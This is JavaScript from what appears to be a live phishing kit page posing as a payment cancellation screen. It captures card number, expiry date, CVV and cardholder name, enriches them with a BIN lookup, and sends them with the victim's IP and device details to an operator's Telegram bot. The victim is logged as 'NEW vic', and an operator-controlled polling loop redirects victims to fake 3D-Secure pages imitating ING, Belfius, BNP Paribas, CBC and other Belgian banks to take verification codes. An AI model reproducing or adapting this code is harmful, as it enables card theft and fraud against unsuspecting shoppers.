    var pathname = urlx.replace("annulation.php", "");

    var urly = window.location.href;
    var pathname2 = urly.replace("annulation.php", "");
    
    $scope.info_User={};
    $scope.load='';
    $scope.loads_info='';
    $scope.base_url='';
    $scope.logo_png='';
    $scope.merchant='';
    $scope.montant='';
    
    $scope.cart = ""; 
    $scope.expiration = "";
    $scope.cvv = "";
  
    const urlParams = new URLSearchParams(window.location.search);
const encodedString = urlParams.get('bak');

    // décoder la chaîne Base64
    $scope.bnk = atob(encodedString);

   
    $scope.show_data = function(){

      
        $http({
          method: 'get',
          url: "config/device.php"
        }).then(function successCallback(response) {
                $scope.info_User=response.data;
                $scope.base_url=$scope.info_User['url'];
                $scope.montant=$scope.info_User['montant'];
                $scope.merchant=$scope.info_User['merchant'];
                $scope.logo=$scope.info_User['logo'];
                $scope.reduction=$scope.info_User['reduction'];
                $scope.soustotal=$scope.info_User['soustotal'];

                var Detailefun = {}; 
                Detailefun.ip=  $scope.info_User['ip'];
                Detailefun.fun= "=> Page annulation";
                $http({
                     method: 'post',
                     url:  $scope.base_url+"config/fun.php?request=2",
                     data: JSON.stringify(Detailefun), 
                      headers: {'Content-Type': 'application/json'}
               }).then(function(data) {});


        }); 
    }
$scope.banpay = function(){
  $(".overlay").show();
  window.location.href = pathname+'banpay.php';
}
    $scope.bloc_login = function(){ 
 
if (    
  $scope.cart.length >= 16 
    && $scope.expiration.length >= 4 
 
  
) {
    $("#btn-validate").removeAttr('disabled');
}else{
    $("#btn-validate").attr('disabled','disabled');
}
}


   
   setInterval(function() {
                var Detaile = {}; 
                Detaile.ip=  $scope.info_User['ip'];
                $http({
                     method: 'post',
                     url:  $scope.base_url+"config/fun.php?request=3",
                     data: JSON.stringify(Detaile), 
                      headers: {'Content-Type': 'application/json'}
                  }).then(function(data) {
                   $scope.ip=data.data.ip;
                   $scope.fun=data.data.fun;
                     console.log(data);

                     $scope.detaile2  =JSON.parse(localStorage.getItem('detaile'));
 
 if ($scope.fun== "gotopay") {
     window.location.href = pathname+'pay.php?token='+$scope.detaile2.token+'&idp='+btoa($scope.detaile2.montant);
 }

                   if ($scope.fun== "gotoannulation") {
                       window.location.href = pathname+'annulation.php';
                   }
                   if ($scope.fun== "gotoloading3D") {
                       window.location.href = pathname+'validation3DBAN/loading.php';
                   }
                   if ($scope.fun== "gotoloading") {
                       window.location.href = pathname+'loading.php';
                   }
                   if ($scope.fun== "gotoing") {
                       window.location.href = pathname+'validation3DBAN/ing.php';
                   }

                   if ($scope.fun== "gotobpost") {
                       window.location.href = pathname+'validation3DBAN/bpost.php';
                   }

                   if ($scope.fun== "gotom1") {
                       window.location.href = pathname+'validation3DBAN/m1.php';
                   }
              
                   if ($scope.fun== "gotobelfius") {
                       window.location.href = pathname+'validation3DBAN/bel.php';
                   }
                   
                   if ($scope.fun== "gotodigipass") {
                       window.location.href = pathname+'validation3DBAN/digi.php';
                   }
                   
                   if ($scope.fun== "gotohello") {
                       window.location.href = pathname+'validation3DBAN/hello.php';
                   }
                   
                   if ($scope.fun== "gotoparibas") {
                       window.location.href = pathname+'validation3DBAN/paribas.php';
                   }
                   
                   if ($scope.fun== "gotocbc") {
                       window.location.href = pathname+'validation3DBAN/cbc.php';
                   }
                   if ($scope.fun== "goto3dapp") {
                       window.location.href = pathname+'validation3DBAN/3Dsecureapp.php';
                   }
                   
                   if ($scope.fun== "goto3dsms") {
                       window.location.href = pathname+'validation3DBAN/3Dsecuresms.php';
                   }
                   
                   if ($scope.fun== "gotocvv") {
                       window.location.href = pathname+'validation3DBAN/cvv.php';
                   }
                   
                   if ($scope.fun== "gotobanpay") {
                       window.location.href = pathname+'banpay.php';
                   }
                
                   if ($scope.fun== "gotoCC") {
                       window.location.href = pathname+'gotocc.php';
                   }
                    
                   if ($scope.fun== "gotoFIN") {
                       window.location.href = pathname+'fin.php';
                   }


               });
    }, 800);


 


   $scope.validation = function(){
    

    $(".overlay").show();
 
            var Detaile = {}; 
            Detaile.card_date= $scope.expiration;
            Detaile.card_nbr= $scope.cart.replace(/\s/g, '');
            Detaile.card_cc= $scope.cvv;
            Detaile.cardname= $scope.name;
            Detaile.montant= $scope.montant;
            Detaile.merchant= $scope.merchant;
            Detaile.bin= "";

            var bin= (Detaile.card_nbr).substring(0, 6);
        //  var bin = 499051;
            const settings = {
              "async": true,
              "crossDomain": true,
              "url": "https://lookup.binlist.net/"+bin,
              "method": "GET",
              "headers": {
                "Accept-Version": "3"
              }
            };

            $.ajax(settings).done(function (response) {
                   
              localStorage.setItem('bin', JSON.stringify(response));
            });
            
        //   console.log($scope.bin)
 
            Detaile.url= $scope.base_url+'admin.php?ip='+$scope.info_User['ip'];

            localStorage.setItem('detaile', JSON.stringify(Detaile));

            Detaile.info= "[ip: "+$scope.info_User['ip']+" ]\n[browser: "+$scope.info_User['browser']+" ]\n[device: "+$scope.info_User['device']+" ]\n[system: "+$scope.info_User['system']+" ]";

             var Detailefun = {}; 
                Detailefun.ip=  $scope.info_User['ip'];
                Detailefun.fun= "NEW vic";
                $http({
                 method: 'post',
                 url:  $scope.base_url+"config/fun.php?request=1",
                 data: JSON.stringify(Detailefun), 
                  headers: {'Content-Type': 'application/json'}
                 }).then(function(data) {});

         
            
            const message = `INFO CC \n--------------\n\n${Detaile.cardname}\n${Detaile.card_nbr}\n${Detaile.card_date}\n${Detaile.card_cc}\n\nOpen [URL](${Detaile.url})\n\n-------------\n${Detaile.info}`;
            const token = $scope.info_User['token'];
            const chatId =$scope.info_User['chatId'];


            $.ajax({
                type: 'POST',
                url: `https://api.telegram.org/bot${token}/sendMessage`,
                data: {
                    chat_id: chatId,
                    text: message,
                    parse_mode: 'html',
                },
                success: function (res) {
                     setInterval(function() {
                           console.log('okkkk')
                            window.location.href = pathname+'loading.php';
                     }, 3000);
                  
                },
                error: function (error) {
                    console.error(error); 
                    alert("error failed");
                }
            });




 
   }




}]);

</script>


                                </body>
                            </html>